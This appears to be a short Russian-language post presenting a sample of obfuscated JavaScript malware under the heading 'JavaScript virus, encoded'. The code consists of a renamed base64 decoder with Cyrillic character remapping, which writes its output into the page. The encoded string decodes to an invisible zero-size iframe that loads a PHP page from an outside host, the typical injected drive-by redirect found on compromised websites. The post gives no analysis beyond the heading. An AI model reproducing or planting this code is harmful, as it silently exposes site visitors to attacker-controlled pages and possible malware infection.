Вирус javascript encoded

Код вируса:

function r9a77e0c6a9b9(c02e2e6) {
var e8207b='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var v2b5d7='';
var laa1b0cf,l10eeb1,y2be5fc1,wf46b4,ya6590c,e5a7d52ef,cd6569ef;
var hbf72852=0;

do{
wf46b4=e8207b.indexOf(c02e2e6.charAt(hbf72852++));
ya6590c=e8207b.indexOf(c02e2e6.charAt(hbf72852++));
e5a7d52ef=e8207b.indexOf(c02e2e6.charAt(hbf72852++));
cd6569ef=e8207b.indexOf(c02e2e6.charAt(hbf72852++));
laa1b0cf=(wf46b4<<2)|(ya6590c>>4);
l10eeb1=((ya6590c&15)<<4)|(e5a7d52ef>>2);
y2be5fc1=((e5a7d52ef&3)<<6)|cd6569ef;
if(laa1b0cf>=192)laa1b0cf+=848;
else if(laa1b0cf==168)laa1b0cf=1025;
else if(laa1b0cf==184)laa1b0cf=1105;
v2b5d7+=String.fromCharCode(laa1b0cf);
if(e5a7d52ef!=64){if(l10eeb1>=192)l10eeb1+=848;
else if(l10eeb1==168)l10eeb1=1025;
else if(l10eeb1==184)l10eeb1=1105;
v2b5d7+=String.fromCharCode(l10eeb1);
}

if(cd6569ef!=64){if(y2be5fc1>=192)y2be5fc1+=848;
else if(y2be5fc1==168)y2be5fc1=1025;
else if(y2be5fc1==184)y2be5fc1=1105;
v2b5d7+=String.fromCharCode(y2be5fc1);
}
}
while(hbf72852<c02e2e6.length);
document.write(v2b5d7);
};
r9a77e0c6a9b9('PGlmcmFtZSBzcmM9Imh0dHA6Ly90aGludGluLmNvbS8xL3N2Nzc3L2luZGV4LnBocCIgd2lkdGg9 MCBoZWlnaHQ9MD48L2lmcmFtZT4A');